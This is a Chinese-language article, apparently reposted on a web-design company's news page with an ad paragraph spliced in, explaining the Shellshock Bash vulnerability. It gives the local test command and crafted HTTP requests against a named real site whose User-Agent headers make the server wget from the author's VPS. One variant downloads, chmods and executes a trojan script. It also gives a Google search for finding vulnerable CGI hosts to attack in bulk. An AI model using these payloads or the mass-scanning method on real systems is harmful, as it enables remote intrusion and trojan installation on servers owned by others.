新聞中心
從昨天開始,這個從澳大利亞遠渡重洋而來的BASH遠程命令執(zhí)行漏洞就沸騰了整個FreeBuf,大家都在談論,“互聯(lián)網(wǎng)的心臟又出血了”,可是,親,到底怎么對網(wǎng)站進行測試?下面這段腳本

兗州網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)公司!從網(wǎng)頁設計、網(wǎng)站建設、微信開發(fā)、APP開發(fā)、響應式網(wǎng)站設計等網(wǎng)站項目制作,到程序開發(fā),運營維護。成都創(chuàng)新互聯(lián)公司自2013年創(chuàng)立以來到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗和運維經(jīng)驗,來保證我們的工作的順利進行。專注于網(wǎng)站建設就選成都創(chuàng)新互聯(lián)公司。
$ env x=‘() { :;}; echo vulnerable' bash -c "echo this is a test"真的如各路大神們說的這樣嗎?
它與“心臟出血”漏洞不同,“心臟出血”只能借助竊取用戶電腦信息,而bash 漏洞允許黑客遠程控制電腦,拿到系統(tǒng)最高權(quán)限!其方法利用就更簡單了——復制/粘貼一行命令代碼即可!
Bash漏洞為什么能夠執(zhí)行
Bash漏洞的原理:
BASH除了可以將shell變量導出為環(huán)境變量,還可以將shell函數(shù)導出為環(huán)境變量!當前版本的bash通過以函數(shù)名作為環(huán)境變量名,以“(){”開頭的字串作為環(huán)境變量的值來將函數(shù)定義導出為環(huán)境變量。
此次爆出的漏洞在于BASH處理這樣的“函數(shù)環(huán)境變量”的時候,并沒有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令。
簡單地說就是,Bash腳本在解析某些特殊字符串時出現(xiàn)邏輯錯誤導致可以執(zhí)行后面的命令。
Bash漏洞與遠程執(zhí)行有啥聯(lián)系
看到上面的解釋,很多童鞋都理解成了本地的漏洞,然后很多人又覺得,本地有啥可以利用的,于是就忽略了這個神級漏洞的存在。我想說的是,這個漏洞,利用熱度可以媲美當年的MS08-067,威力雖然弱了點,但遠程控制電腦還是可以的。
首先解釋一下cgi腳本。很多網(wǎng)站類似下面的鏈接:
GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
后臺不僅僅用python、Perl來解釋執(zhí)行并反饋給客戶端Response,當然還可以換做bash腳本來解釋執(zhí)行提交上來的GET/POST請求。所以,理論上,你在HTTP請求中插入一個Bash命令,比如
() { :;}; wget http://www.myvps.org/testvul.sh如果服務器的Bash解釋器具有這個漏洞,那么在解釋上面這這句話的時候就會執(zhí)行wget請求,將一個惡意的testvul.sh文件下載到這個服務器,那為何說要放在HTTP頭部呢?比如:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1 Host: help.tenpay.com User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: */* Referer: http://www.baidu.com Connection: keep-alive
這是因為這個漏洞是bash解釋器在解釋某些特殊的變量時才可以觸發(fā)的:
在于BASH處理以“(){”開頭的“函數(shù)環(huán)境變量”的時候,并沒有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令
通過自定義這些參數(shù)的值為“函數(shù)環(huán)境變量”的形式,就可以觸發(fā)后面的命令,惡意的客戶僅需要發(fā)送特殊構(gòu)造的HTTP請求就可以使服務器執(zhí)行特定的命令(命令的權(quán)限和解釋HTTP請求的Bash腳本環(huán)境相同)。
實際測試中,我的構(gòu)造的測試請求:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive過程是這樣的:
我發(fā)送GET請求–>目標服務器cgi路徑
目標服務器解析這個get請求,碰到UserAgent后面的參數(shù),Bash解釋器就執(zhí)行了后面的命令
目標服務器wget–>我的myvps.org
我的vps記錄下這個訪問的IP地址
然后查看我的myvps.org服務器的訪問記錄,就可以確定目標有沒有去訪問,如果訪問了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget請求訪問的日志:
#p#
大神是這樣測試漏洞的
當然,你也可以這樣構(gòu)造:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive實際上執(zhí)行了下面三句:
/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ; chmod 777 /tmp/muma.sh; ./tmp/muma.sh
你會發(fā)現(xiàn),你的木馬就這么腳本了,這就是Bash漏洞利用的精髓。
當然,你可以利用批量Google搜索:
filetype:cgi inurl:cgi-bin site:jp
然后批量提交類似的GET請求,你就能做到批量測試了。測試表明,500個url里有6-8個有bash漏洞
分享文章:Bash遠程解析命令執(zhí)行漏洞測試方法
瀏覽地址:http://www.dlmjj.cn/article/djehics.html


咨詢
建站咨詢
